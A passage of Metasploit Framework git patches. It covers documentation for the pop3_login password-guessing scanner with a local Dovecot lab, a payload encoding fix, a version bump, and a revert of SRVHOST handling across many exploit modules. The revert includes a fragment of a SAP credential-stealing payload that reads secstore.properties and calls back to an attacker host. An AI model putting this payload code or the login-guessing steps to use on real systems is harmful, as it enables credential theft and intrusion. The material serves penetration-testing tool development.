+  File containing users and pass words separated by space, one pair per line
+
+### USER_AS_PASS
+
+  Try the username as the password for all users
+
+
+### USER_FILE
+
+  Newline separated list of probable users accounts. Default depends on install location,
+  however it will be within metasploit-framework/data/wordlists/unix_users.txt
+
+                     
+### VERBOSE
+
+  Whether to print output for all attempts
+
+
+## Scenarios
+
+### Dovecot on Kali-Linux
+
+
+
+
+- First we need to install an email server, here we will use dovecot:
+
+`sudo apt install dovecot-core dovecot-pop3d` version 2.3 will be installed
+
+- The we can configure it
+
+In /etc/dovecot/dovecot.conf uncomment the line `#protocols = pop3 imap lmtp`
+In /etc/dovecot/conf.d/10-ssl.conf change the line `ssl = yes` to `ssl = no` (obviously this is bad practice)
+
+- Then we create a new user `sudo useradd -m alice && echo "alice:password123" | sudo chpasswd`
+
+- We can now start the server with `sudo systemctl start dovecot`
+
+- Now we can go into msfconsole:
+
+```
+msf > use auxiliary/scanner/pop3/pop3_login
+msf auxiliary(scanner/pop3/pop3_login) > set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+msf auxiliary(scanner/pop3/pop3_login) > set username alice
+username => alice
+msf auxiliary(scanner/pop3/pop3_login) > set password password123
+password => password123
+msf auxiliary(scanner/pop3/pop3_login) > run
+[+] 127.0.0.1:110         - 127.0.0.1:110         - Success: 'alice:password123' '+OK Logged in.  '
+[!] 127.0.0.1:110         - No active DB -- Credential data will not be saved!
+[*] 127.0.0.1:110         - Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```

From 81431ea680038bf3c9452c68a8a3f9831be10d3e Mon Sep 17 00:00:00 2001
From: jeanmtr <jean.montagnat-rentier@telecom-paris.fr>
Date: Fri, 6 Mar 2026 22:51:26 +0100
Subject: [PATCH 050/103] Update pop3_login.md

markdown issue
---
 documentation/modules/auxiliary/scanner/pop3/pop3_login.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md
index d89f4f1a6f836..1be25099781b6 100644
--- a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md
+++ b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md
@@ -100,6 +100,7 @@ The default wordlists are:
 - The we can configure it
 
 In /etc/dovecot/dovecot.conf uncomment the line `#protocols = pop3 imap lmtp`
+
 In /etc/dovecot/conf.d/10-ssl.conf change the line `ssl = yes` to `ssl = no` (obviously this is bad practice)
 
 - Then we create a new user `sudo useradd -m alice && echo "alice:password123" | sudo chpasswd`

From e369660d18355325164b7e999e83402fdd0d8c4c Mon Sep 17 00:00:00 2001
From: jeanmtr <jean.montagnat-rentier@telecom-paris.fr>
Date: Fri, 6 Mar 2026 22:53:11 +0100
Subject: [PATCH 051/103] Update pop3_login.md

Another md issue
---
 .../auxiliary/scanner/pop3/pop3_login.md       | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md
index 1be25099781b6..ffe3de102c881 100644
--- a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md
+++ b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md
@@ -93,21 +93,23 @@ The default wordlists are:
 
 
 
-- First we need to install an email server, here we will use dovecot:
+First we need to install an email server, here we will use dovecot:
 
-`sudo apt install dovecot-core dovecot-pop3d` version 2.3 will be installed
+- `sudo apt install dovecot-core dovecot-pop3d` version 2.3 will be installed
 
-- The we can configure it
+Then we can configure it
 
-In /etc/dovecot/dovecot.conf uncomment the line `#protocols = pop3 imap lmtp`
+- In /etc/dovecot/dovecot.conf uncomment the line `#protocols = pop3 imap lmtp`
 
-In /etc/dovecot/conf.d/10-ssl.conf change the line `ssl = yes` to `ssl = no` (obviously this is bad practice)
+- In /etc/dovecot/conf.d/10-ssl.conf change the line `ssl = yes` to `ssl = no` (obviously this is bad practice)
 
-- Then we create a new user `sudo useradd -m alice && echo "alice:password123" | sudo chpasswd`
+Then we create a new user
 
-- We can now start the server with `sudo systemctl start dovecot`
+- `sudo useradd -m alice && echo "alice:password123" | sudo chpasswd`
 
-- Now we can go into msfconsole:
+We can now start the server with `sudo systemctl start dovecot`
+
+Now we can go into msfconsole:
 
 ```
 msf > use auxiliary/scanner/pop3/pop3_login

From f09143998a2b65fd8873ef710d07b1471213dc56 Mon Sep 17 00:00:00 2001
From: Hemang360 <bhagathemang360@gmail.com>
Date: Sat, 7 Mar 2026 20:50:41 +0530
Subject: [PATCH 052/103] Fix incompatible encoding error when command contains
 utf-8 characters

---
 lib/msf/core/payload/windows/exec.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/msf/core/payload/windows/exec.rb b/lib/msf/core/payload/windows/exec.rb
index a3777de068c0f..9575dc20ded8a 100644
--- a/lib/msf/core/payload/windows/exec.rb
+++ b/lib/msf/core/payload/windows/exec.rb
@@ -65,7 +65,7 @@ def generate(_opts = {})
   # Returns the command string to use for execution
   #
   def command_string
-    return datastore['CMD'] || ''
+    return (datastore['CMD'] || '').b
   end
 
 end

From ef7992713a7842162382281d97785cffa888a232 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Sat, 7 Mar 2026 19:27:42 +0000
Subject: [PATCH 053/103] Bump version of framework to 6.4.121

---
 Gemfile.lock                        | 2 +-
 LICENSE_GEMS                        | 4 ++--
 lib/metasploit/framework/version.rb | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 73b973b100ebd..abb7bc3891594 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (6.4.120)
+    metasploit-framework (6.4.121)
       aarch64
       abbrev
       actionpack (~> 7.2.0)
diff --git a/LICENSE_GEMS b/LICENSE_GEMS
index bd04d28bf39af..946c07eb7cf96 100644
--- a/LICENSE_GEMS
+++ b/LICENSE_GEMS
@@ -97,10 +97,10 @@ memory_profiler, 1.1.0, MIT
 metasm, 1.0.5, LGPL-2.1
 metasploit-concern, 5.0.5, "New BSD"
 metasploit-credential, 6.0.20, "New BSD"
-metasploit-framework, 6.4.120, "New BSD"
+metasploit-framework, 6.4.121, "New BSD"
 metasploit-model, 5.0.4, "New BSD"
 metasploit-payloads, 2.0.240, "3-clause (or ""modified"") BSD"
-metasploit_data_models, 6.0.12, "New BSD"
+metasploit_data_models, 6.0.15, "New BSD"
 metasploit_payloads-mettle, 1.0.46, "3-clause (or ""modified"") BSD"
 method_source, 1.1.0, MIT
 mime-types, 3.7.0, MIT
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index e329b6db34e14..68a044634cf7a 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -32,7 +32,7 @@ def self.get_hash
         end
       end
 
-      VERSION = "6.4.120"
+      VERSION = "6.4.121"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From 628275ef59f0ab305670477c84c73993fb7394cf Mon Sep 17 00:00:00 2001
From: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
Date: Sun, 8 Mar 2026 17:37:49 +0000
Subject: [PATCH 054/103] Revert "This adjusts module options that need a
 routable address"

---
 .rubocop.yml                                  |  1 -
 lib/msf/core/exploit/cmd_stager.rb            |  7 +-
 lib/msf/core/exploit/cmd_stager/http.rb       |  6 --
 lib/msf/core/exploit/format/webarchive.rb     |  6 +-
 .../core/exploit/remote/browser_autopwn2.rb   | 17 ++--
 .../remote/http/sap_sol_man_eem_miss_auth.rb  |  4 +-
 lib/msf/core/exploit/remote/http_server.rb    | 26 +++++-
 lib/msf/core/exploit/remote/jndi_injection.rb | 11 +--
 .../core/exploit/remote/smb/relay_server.rb   |  7 +-
 .../core/exploit/remote/smb/server/share.rb   |  1 -
 lib/msf/core/exploit/remote/socket_server.rb  | 32 +------
 lib/msf/core/opt_address_local.rb             | 37 ++++++--
 lib/msf/core/opt_address_routable.rb          | 43 ---------
 lib/msf/util/payload_cached_size.rb           |  6 +-
 .../cop/lint/datastore_srvhost_usage.rb       | 42 ---------
 .../google_play_store_uxss_xframe_rce.rb      |  5 +-
 .../admin/sap/cve_2020_6207_solman_rce.rb     |  6 +-
 .../fileformat/specialfolder_leak.rb          |  4 +-
 .../gather/android_stock_browser_uxss.rb      |  7 ++
 .../apple_safari_ftp_url_cookie_theft.rb      | 29 +++++--
 .../gather/apple_safari_webarchive_uxss.rb    |  8 ++
 .../gather/firefox_pdfjs_file_theft.rb        |  7 +-
 .../auxiliary/gather/ie_sandbox_findfiles.rb  | 21 +++--
 .../gather/magento_xxe_cve_2024_34102.rb      |  8 +-
 .../gather/safari_file_url_navigation.rb      | 22 ++++-
 .../server/android_mercury_parseuri.rb        |  7 +-
 modules/auxiliary/server/browser_autopwn.rb   |  2 +-
 modules/auxiliary/server/capture/http.rb      |  2 +-
 .../auxiliary/server/capture/http_basic.rb    |  2 +-
 modules/auxiliary/server/capture/pop3.rb      |  2 +-
 .../server/capture/printjob_capture.rb        |  4 +-
 modules/auxiliary/server/capture/sip.rb       |  4 +-
 modules/auxiliary/server/capture/smtp.rb      |  2 +-
 modules/auxiliary/server/dns/spoofhelper.rb   |  2 +-
 modules/auxiliary/server/fakedns.rb           |  2 +-
 .../server/jsse_skiptls_mitm_proxy.rb         |  2 +-
 modules/auxiliary/server/netbios_spoof_nat.rb |  2 +-
 .../openssl_altchainsforgery_mitm_proxy.rb    |  2 +-
 .../server/openssl_heartbeat_client_memory.rb |  2 +-
 modules/auxiliary/server/tftp.rb              |  2 +-
 .../freebsd/misc/citrix_netscaler_soap_bof.rb |  9 +-
 .../linux/http/chaos_rat_xss_to_rce.rb        |  5 +-
 .../linux/http/craftcms_ftp_template.rb       |  4 +-
 .../http/dlink_diagnostic_exec_noauth.rb      | 14 ++-
 .../linux/http/dlink_dir615_up_exec.rb        | 11 ++-
 .../linux/http/dlink_hnap_login_bof.rb        | 10 ++-
 .../linux/http/huawei_hg532n_cmdinject.rb     |  6 +-
 .../linux/http/ibm_qradar_unauth_rce.rb       | 10 ++-
 .../linux/http/linksys_e1500_apply_exec.rb    | 13 ++-
 .../linux/http/linksys_wrt54gl_apply_exec.rb  | 13 ++-
 .../http/magento_xxe_to_glibc_buf_overflow.rb |  8 +-
 .../linux/http/netgear_dgn1000b_setup_exec.rb | 13 ++-
 .../linux/http/netgear_dgn2200b_pppoe_exec.rb | 13 ++-
 .../linux/http/ollama_rce_cve_2024_37032.rb   |  8 +-
 modules/exploits/linux/http/railo_cfml_rfi.rb | 10 ++-
 .../linux/http/symmetricom_syncserver_rce.rb  |  4 +-
 .../http/synology_dsm_smart_exec_auth.rb      | 64 +++++++-------
 .../exploits/linux/http/vmware_vrli_rce.rb    |  5 +-
 .../linux/misc/cve_2020_13160_anydesk.rb      |  2 +-
 .../linux/misc/jenkins_ldap_deserialize.rb    |  2 +-
 .../linux/misc/opennms_java_serialize.rb      | 11 ++-
 .../linux/misc/tplink_archer_a7_c7_lan_rce.rb | 17 ++--
 .../zyxel_multiple_devices_zhttp_lan_rce.rb   | 12 ++-
 .../linux/redis/redis_replication_cmd_exec.rb | 16 +++-
 .../exploits/linux/smtp/exim4_dovecot_exec.rb | 15 +++-
 .../adobe_coldfusion_rce_cve_2023_26360.rb    |  9 +-
 .../multi/http/bassmaster_js_injection.rb     | 10 ++-
 .../multi/http/cacti_graph_template_rce.rb    | 15 ++--
 .../exploits/multi/http/jboss_maindeployer.rb |  6 +-
 .../multi/http/log4shell_header_injection.rb  |  8 +-
 .../multi/http/monsta_ftp_downloadfile_rce.rb |  6 +-
 .../multi/http/mutiny_subnetmask_exec.rb      | 13 ++-
 .../oracle_ebs_cve_2025_61882_exploit_rce.rb  | 12 ++-
 .../http/rails_dynamic_render_code_exec.rb    | 10 ++-
 .../multi/http/solarwinds_webhelpdesk_rce.rb  | 15 +++-
 .../exploits/multi/http/struts_code_exec.rb   |  5 +-
 .../struts_code_exec_exception_delegator.rb   |  5 +-
 .../http/struts_default_action_mapper.rb      | 11 ++-
 .../multi/http/totaljs_cms_widget_exec.rb     |  4 +-
 ...ro_threat_discovery_admin_sys_time_cmdi.rb | 11 ++-
 modules/exploits/multi/http/wondercms_rce.rb  |  6 +-
 .../multi/http/wp_popular_posts_rce.rb        |  1 +
 .../multi/iiop/cve_2023_21839_weblogic_rce.rb |  7 +-
 .../misc/cups_ipp_remote_code_execution.rb    |  9 +-
 .../exploits/multi/misc/ibm_tm1_unauth_rce.rb |  7 +-
 .../multi/sap/sap_mgmt_con_osexec_payload.rb  | 15 +++-
 .../osx/browser/safari_file_policy.rb         | 20 ++++-
 .../unix/http/pihole_blocklist_exec.rb        |  6 +-
 .../exploits/unix/http/xdebug_unauth_exec.rb  |  4 +-
 .../unix/local/opensmtpd_oob_read_lpe.rb      |  4 +
 .../webapp/google_proxystylesheet_exec.rb     |  4 +-
 modules/exploits/windows/antivirus/ams_xfr.rb |  3 +-
 .../windows/browser/adobe_flash_sps.rb        |  3 +-
 .../adobe_flashplayer_arrayindexing.rb        |  4 +-
 .../windows/browser/aol_icq_downloadagent.rb  |  4 +-
 .../browser/apple_quicktime_mime_type.rb      |  5 +-
 .../windows/browser/apple_quicktime_rtsp.rb   |  5 +-
 .../browser/apple_quicktime_smil_debug.rb     |  5 +-
 .../apple_quicktime_texml_font_table.rb       |  5 +-
 .../browser/awingsoft_winds3d_sceneurl.rb     |  4 +-
 .../browser/blackice_downloadimagefileurl.rb  |  5 +-
 .../browser/c6_messenger_downloaderactivex.rb |  4 +-
 .../windows/browser/cisco_webex_ext.rb        |  2 +-
 .../windows/browser/dxstudio_player_exec.rb   |  5 +-
 .../browser/enjoysapgui_comp_download.rb      |  4 +-
 .../browser/foxit_reader_plugin_url_bof.rb    |  3 +-
 .../browser/honeywell_hscremotedeploy_exec.rb |  4 +-
 .../browser/java_ws_arginject_altjvm.rb       |  4 +-
 .../windows/browser/java_ws_double_quote.rb   |  3 +-
 .../windows/browser/java_ws_vmargs.rb         |  4 +-
 .../browser/keyhelp_launchtripane_exec.rb     |  2 +-
 .../windows/browser/macrovision_unsafe.rb     |  4 +-
 .../ms07_017_ani_loadimage_chunksize.rb       |  2 +-
 .../browser/ms08_041_snapshotviewer.rb        |  4 +-
 .../browser/ms10_022_ie_vbscript_winhlp32.rb  |  3 +-
 .../browser/ms10_042_helpctr_xss_cmd_exec.rb  |  2 +-
 .../ms10_046_shortcut_icon_dllloader.rb       |  9 +-
 .../windows/browser/ms16_051_vbscript.rb      |  7 +-
 .../windows/browser/msvidctl_mpeg2.rb         | 16 +++-
 .../browser/notes_handler_cmdinject.rb        |  9 +-
 .../browser/persits_xupload_traversal.rb      |  3 +-
 .../browser/real_arcade_installerdlg.rb       |  3 +-
 .../windows/browser/safari_xslt_output.rb     |  5 +-
 .../browser/samsung_security_manager_put.rb   |  4 +-
 ...ec_altirisdeployment_downloadandinstall.rb |  4 +-
 .../browser/symantec_appstream_unsafe.rb      |  4 +-
 .../browser/systemrequirementslab_unsafe.rb   |  4 +-
 .../windows/browser/ubisoft_uplay_cmd_exec.rb | 18 +++-
 .../windows/browser/webdav_dll_hijacker.rb    | 11 ++-
 .../browser/zenturiprogramchecker_unsafe.rb   |  4 +-
 .../browser/zenworks_helplauncher_exec.rb     |  3 +-
 .../dcerpc/cve_2021_1675_printnightmare.rb    |  8 ++
 .../email/ms10_045_outlook_ref_only.rb        |  9 +-
 .../email/ms10_045_outlook_ref_resolve.rb     |  9 +-
 .../fileformat/mcafee_showreport_exec.rb      |  4 +
 .../exploits/windows/fileformat/ms12_005.rb   |  8 +-
 .../windows/fileformat/nitro_reader_jsapi.rb  | 11 ++-
 .../windows/fileformat/office_word_hta.rb     |  3 +-
 .../theme_dll_hijack_cve_2023_38146.rb        |  2 +-
 .../windows/fileformat/word_msdtjs_rce.rb     |  9 +-
 .../windows/fileformat/word_mshtml_rce.rb     |  7 +-
 modules/exploits/windows/ftp/ayukov_nftp.rb   | 16 +++-
 .../exploits/windows/ftp/freefloatftp_wbem.rb |  4 +-
 .../exploits/windows/ftp/ftpshell_cli_bof.rb  | 14 ++-
 modules/exploits/windows/ftp/labf_nfsaxe.rb   | 16 +++-
 .../exploits/windows/ftp/open_ftpd_wbem.rb    |  4 +-
 .../windows/ftp/quickshare_traversal_write.rb |  4 +-
 .../exploits/windows/ftp/scriptftp_list.rb    |  8 +-
 .../http/ca_totaldefense_regeneratereports.rb |  5 +-
 .../windows/http/cogent_datahub_command.rb    | 10 ++-
 ...anageengine_adaudit_plus_cve_2022_28219.rb | 18 ++--
 .../http/northstar_c2_xss_to_agent_rce.rb     | 12 ++-
 .../exploits/windows/http/osb_uname_jlist.rb  |  5 +-
 .../windows/http/sap_host_control_cmd_exec.rb |  4 +-
 .../http/solarwinds_storage_manager_sql.rb    |  7 +-
 .../windows/iis/ms01_026_dbldecode.rb         |  3 +-
 modules/exploits/windows/iis/msadc.rb         |  3 +-
 .../exploits/windows/misc/altiris_ds_sqli.rb  |  3 +-
 .../misc/hp_dataprotector_install_service.rb  |  2 +-
 .../misc/ibm_director_cim_dllinject.rb        |  3 +-
 modules/exploits/windows/misc/mini_stream.rb  |  3 +-
 .../windows/misc/nvidia_mental_ray.rb         |  9 +-
 .../misc/vmhgfs_webdav_dll_sideload.rb        | 12 ++-
 .../exploits/windows/misc/webdav_delivery.rb  |  4 +-
 .../exploits/windows/mssql/mssql_payload.rb   |  3 +-
 .../exploits/windows/novell/netiq_pum_eval.rb | 11 ++-
 .../scada/ge_proficy_cimplicity_gefebt.rb     |  3 +-
 .../windows/scada/rockwell_factorytalk_rce.rb |  6 +-
 .../exploits/windows/scada/scadapro_cmdexe.rb | 14 +--
 .../singles/java/shell_reverse_tcp.rb         |  2 +-
 modules/payloads/stagers/java/bind_tcp.rb     |  2 +-
 modules/payloads/stagers/java/reverse_tcp.rb  |  2 +-
 modules/post/linux/busybox/set_dns.rb         |  6 +-
 .../cop/lint/datastore_srvhost_usage_spec.rb  | 87 -------------------
 174 files changed, 954 insertions(+), 538 deletions(-)
 delete mode 100644 lib/rubocop/cop/lint/datastore_srvhost_usage.rb
 delete mode 100644 spec/rubocop/cop/lint/datastore_srvhost_usage_spec.rb

diff --git a/.rubocop.yml b/.rubocop.yml
index 6cef85a06c9dd..b1c617d67d386 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -25,7 +25,6 @@ require:
   - ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
   - ./lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb
   - ./lib/rubocop/cop/lint/detect_outdated_cmd_exec_api.rb
-  - ./lib/rubocop/cop/lint/datastore_srvhost_usage.rb
 
 Layout/SpaceBeforeBrackets:
   Enabled: true
diff --git a/lib/msf/core/exploit/cmd_stager.rb b/lib/msf/core/exploit/cmd_stager.rb
index 52e032f22d96e..58c251536580d 100644
--- a/lib/msf/core/exploit/cmd_stager.rb
+++ b/lib/msf/core/exploit/cmd_stager.rb
@@ -59,13 +59,14 @@ def initialize(info = {})
     server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}]
     register_options(
       [
-        OptPort.new('SRVPORT', [true, 'The local port to listen on', 8080], conditions: server_conditions)
+        OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions),
+        OptPort.new('SRVPORT', [true, "The local port to listen on.", 8080], conditions: server_conditions)
       ])
 
     register_advanced_options(
       [
-        OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use', 'auto', flavors]),
-        OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use']),
+        OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),
+        OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']),
         OptString.new('CMDSTAGER::TEMP', [false, 'Writable directory for staged files']),
         OptString.new('CMDSTAGER::URIPATH', [false, 'Payload URI path for supported stagers']),
         OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false])
diff --git a/lib/msf/core/exploit/cmd_stager/http.rb b/lib/msf/core/exploit/cmd_stager/http.rb
index adff0c284ea22..f0608af7c669c 100644
--- a/lib/msf/core/exploit/cmd_stager/http.rb
+++ b/lib/msf/core/exploit/cmd_stager/http.rb
@@ -9,12 +9,6 @@ def initialize(info = {})
     super(update_info(info,
       'Stance' => Msf::Exploit::Stance::Aggressive
     ))
-
-    register_options(
-      [
-        ::Msf::OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections']),
-      ]
-    )
   end
 
   def cmdstager_start_service(opts = {})
diff --git a/lib/msf/core/exploit/format/webarchive.rb b/lib/msf/core/exploit/format/webarchive.rb
index 2bd582c198d23..52dbb387fcfc9 100644
--- a/lib/msf/core/exploit/format/webarchive.rb
+++ b/lib/msf/core/exploit/format/webarchive.rb
@@ -328,8 +328,10 @@ def collect_data_uri
 
   # @return [String] formatted http/https URL of the listener
   def backend_url
-    resource = get_resource.end_with?('/') ? get_resource[0, get_resource.length - 1] : get_resource
-    get_uri("#{resource}/catch")
+    proto = (datastore["SSL"] ? "https" : "http")
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}"
+    "#{proto}://#{myhost}#{port_str}"
   end
 
   # @return [String] URL that serves the malicious webarchive
diff --git a/lib/msf/core/exploit/remote/browser_autopwn2.rb b/lib/msf/core/exploit/remote/browser_autopwn2.rb
index 8b53769918e8d..2225270668d41 100644
--- a/lib/msf/core/exploit/remote/browser_autopwn2.rb
+++ b/lib/msf/core/exploit/remote/browser_autopwn2.rb
@@ -128,7 +128,7 @@ def set_exploit_options(xploit)
       p = select_payload(xploit)
       xploit.datastore['PAYLOAD']     = p.first[:payload_name]
       xploit.datastore['LPORT']       = p.first[:payload_lport]
-      xploit.datastore['SRVHOST']     = srvhost
+      xploit.datastore['SRVHOST']     = datastore['SRVHOST']
       xploit.datastore['SRVPORT']     = datastore['SRVPORT']
       xploit.datastore['LHOST']       = get_payload_lhost
 
@@ -553,11 +553,12 @@ def start_service
       show_ready_exploits
       proto = (datastore['SSL'] ? "https" : "http")
 
-      service_srvhost = nil
       if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
-        service_srvhost = datastore['URIHOST']
+        srvhost = datastore['URIHOST']
+      elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
+        srvhost = datastore['SRVHOST']
       else
-        service_srvhost = srvhost_addr
+        srvhost = Rex::Socket.source_address
       end
 
       if datastore['URIPORT'] && datastore['URIPORT'] != 0
@@ -566,7 +567,7 @@ def start_service
         srvport = datastore['SRVPORT']
       end
 
-      service_uri = "#{proto}://#{Rex::Socket.to_authority(service_srvhost, srvport)}#{get_resource}"
+      service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}"
       print_good("Please use the following URL for the browser attack:")
       print_good("BrowserAutoPwn URL: #{service_uri}")
     end
@@ -662,8 +663,10 @@ def get_exploit_urls(cli, request)
         host = ''
         if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
           host = datastore['URIHOST']
+        elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
+          host = datastore['SRVHOST']
         else
-          host = srvhost
+          host = Rex::Socket.source_address
         end
         if datastore['URIPORT'] && datastore['URIPORT'] != 0
           port = datastore['URIPORT']
@@ -672,7 +675,7 @@ def get_exploit_urls(cli, request)
         end
 
         resource = mod.datastore['URIPATH']
-        url = "#{proto}://#{Rex::Socket.to_authority(host, port)}#{resource}"
+        url = "#{proto}://#{host}:#{port}#{resource}"
         urls << url
       end
 
diff --git a/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb b/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb
index 7c71a4d9c8c0f..0ee2ad41c8cb7 100644
--- a/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb
+++ b/lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb
@@ -49,8 +49,8 @@ def make_rce_payload(os_command)
     end
 
     # Make payload for steal credentials for SolMan server from agent
-    def make_steal_credentials_payload(instance, url)
-      command = "var u = new Packages.java.net.URL(\"#{url}\");"
+    def make_steal_credentials_payload(instance, host, port, url)
+      command = "var u = new Packages.java.net.URL(\"http://#{host}:#{port}#{url}\");"
       command << 'var o = Packages.java.lang.System.getProperty("os.name").toLowerCase();'
       command << 'if (o.indexOf("win") >= 0) '
       command << "{var p = Packages.java.nio.file.Paths.get(\"C:\\\\usr\\\\sap\\\\DAA\\\\#{instance}\\\\SMDAgent\\\\configuration\\\\secstore.properties\");} "
diff --git a/lib/msf/core/exploit/remote/http_server.rb b/lib/msf/core/exploit/remote/http_server.rb
index b32f48c44b299..318dee3e5979d 100644
--- a/lib/msf/core/exploit/remote/http_server.rb
+++ b/lib/msf/core/exploit/remote/http_server.rb
@@ -485,9 +485,31 @@ def get_uri(cli=self.cli)
   #
   # @return [String]
   def srvhost_addr
-    return datastore['URIHOST'] if datastore['URIHOST'].present?
+    if datastore['URIHOST']
+      host = datastore['URIHOST']
+    elsif (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
+      host = datastore["LHOST"]
+    else
+      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+        if (respond_to?(:sock) and sock and sock.peerhost)
+          # Then this is a Passive-Aggressive module. It has a socket
+          # connected to the remote server from which we can deduce the
+          # appropriate source address.
+          host = Rex::Socket.source_address(sock.peerhost)
+        else
+          # Otherwise, this module is only a server, not a client, *and*
+          # the payload does not have an LHOST option. This can happen,
+          # for example, with a browser exploit using a download-exec
+          # payload. In that case, just use the address of the interface
+          # with the default gateway and hope for the best.
+          host = Rex::Socket.source_address
+        end
+      else
+        host = datastore['SRVHOST']
+      end
+    end
 
-    super
+    host
   end
 
   #
diff --git a/lib/msf/core/exploit/remote/jndi_injection.rb b/lib/msf/core/exploit/remote/jndi_injection.rb
index 2bef21885c73d..1d90bbbd9623b 100644
--- a/lib/msf/core/exploit/remote/jndi_injection.rb
+++ b/lib/msf/core/exploit/remote/jndi_injection.rb
@@ -19,12 +19,6 @@ def initialize(info = {})
     super(update_info(info,
       'Stance' => Msf::Exploit::Stance::Aggressive))
 
-    register_options(
-      [
-        OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections']),
-      ]
-    )
-
     register_advanced_options([
       OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
     ])
@@ -35,7 +29,7 @@ def initialize(info = {})
   # @return [String] the JNDI string
   def jndi_string(resource = nil)
     resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}"
-    "ldap://#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT'])}/#{resource}"
+    "ldap://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{resource}"
   end
 
   ## LDAP service callbacks
@@ -140,6 +134,9 @@ def build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.P
   end
 
   def validate_configuration!
+    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
+      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
+    end
   end
 end
 end
diff --git a/lib/msf/core/exploit/remote/smb/relay_server.rb b/lib/msf/core/exploit/remote/smb/relay_server.rb
index 686a2edef446c..d16b1048c0464 100644
--- a/lib/msf/core/exploit/remote/smb/relay_server.rb
+++ b/lib/msf/core/exploit/remote/smb/relay_server.rb
@@ -117,13 +117,14 @@ def start_service(_opts = {})
 
         validate_smb_hash_capture_datastore(datastore, ntlm_provider)
 
-        comm = _determine_server_comm(bindhost)
+        comm = _determine_server_comm(datastore['SRVHOST'])
+        print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
         @service = Rex::ServiceManager.start(
           self.class::SMBRelayServer,
           {
             socket: {
               'Comm' => comm,
-              'LocalHost' => bindhost,
+              'LocalHost' => datastore['SRVHOST'],
               'LocalPort' => datastore['SRVPORT'],
               'Server' => true,
               'Timeout' => datastore['SRV_TIMEOUT'],
@@ -142,8 +143,6 @@ def start_service(_opts = {})
             }
           }
         )
-        print_status("SMB Server is running. Listening on #{Rex::Socket.to_authority(bindhost, datastore['SRVPORT'])}")
-        @service
       rescue Errno::EACCES => e
         fail_with(Msf::Module::Failure::BadConfig, "Failed to create the relay server: #{e.to_s}")
       end
diff --git a/lib/msf/core/exploit/remote/smb/server/share.rb b/lib/msf/core/exploit/remote/smb/server/share.rb
index 71734631a0152..de2c6acfb824a 100644
--- a/lib/msf/core/exploit/remote/smb/server/share.rb
+++ b/lib/msf/core/exploit/remote/smb/server/share.rb
@@ -27,7 +27,6 @@ def initialize(info = {})
 
         register_options(
           [
-            OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections.']),
             OptString.new('SHARE', [ false, 'Share (Default: random); cannot contain spaces or slashes'], regex: /^[^\s\/\\]*$/),
